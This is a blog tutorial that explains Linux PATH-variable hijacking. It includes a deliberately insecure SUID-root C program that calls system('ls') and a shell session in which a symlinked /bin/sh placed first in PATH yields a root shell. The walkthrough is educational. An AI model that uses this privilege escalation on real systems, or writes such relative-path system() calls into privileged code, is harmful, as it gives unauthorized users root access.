Published on March 27, 2012 by Alexandru Juncu
Tagged: exploit, PATH

Environment variables are sometimes very important when creating new processes. For example, the PATH variable, that decides what executable to run.

The easiest example to exploit PATH is to add the current directory . to the list and overwrite common shell commands with something else.

$ cat ./ls
echo P0wn3d
$ ls
file1 file2
$ ./ls
P0wn3d
$ export PATH=.:$PATH
$ ls
P0wn3d

But that can only affect the user’s shell and can’t do harm to the system. What if some other conditions exist in the system, like the use of the SUID bit. Normal processes are run as the user who executes them, regardless of who owns the executable file (as long as the user who runs the file can read the file). If the SUID is set on an executable file, any process started from that executable will run as the owner of the file, not shell owner. Here is an example of a very insecure source that shouldn’t be SUID-ed.

#include<stdlib.h>

int main(void)
{
	system("ls");
	return 0;
}

Let’s assume that the compiled executable from this code is owned by root, SUID-ed and put into /bin with the name ls_root.

$ ls -la /bin/ls_root
-rwsrwsr-x 1 root root 7163 2012-03-21 12:28 /bin/ls_root

What this will enable, for example, is the listing of the /root directory by any user.

$ cd /root
$ ls
ls: cannot open directory .: Permission denied
$ sudo ls
test
$ ls_root
test

The code simply executes the ls command. But what if the ls command isn’t doing what it is supposed to do? Given this setup, as a normal user, we can do the following:

$ ln -s /bin/sh ls
$ echo $$
32655
$ ls
ls  ls_root.c
$ ./ls
$ echo $$
32730
$ whoami
alexj
$ exit
$ export PATH=.:$PATH
$ ls_root
# whoami
root
#

The ls_root process will run the ls command. The ls command will run an executable specified by the PATH variable (the executable is /bin/ls). But if the PATH variable is changed in the current bash process, the executable ran by the ls command will now become something else. If the ls_root command is ran by root (with the help of the SUID bit), any of its children will also be processes of root. So, if the ls command will now run a bash executable, it will run a root owned executable that leads to root access.

The SUID is something that is used in Linux systems (sudo and even ping use it), but these executables are very carefully implemented so that normal users can’t exploit them.


comments powered by Disqus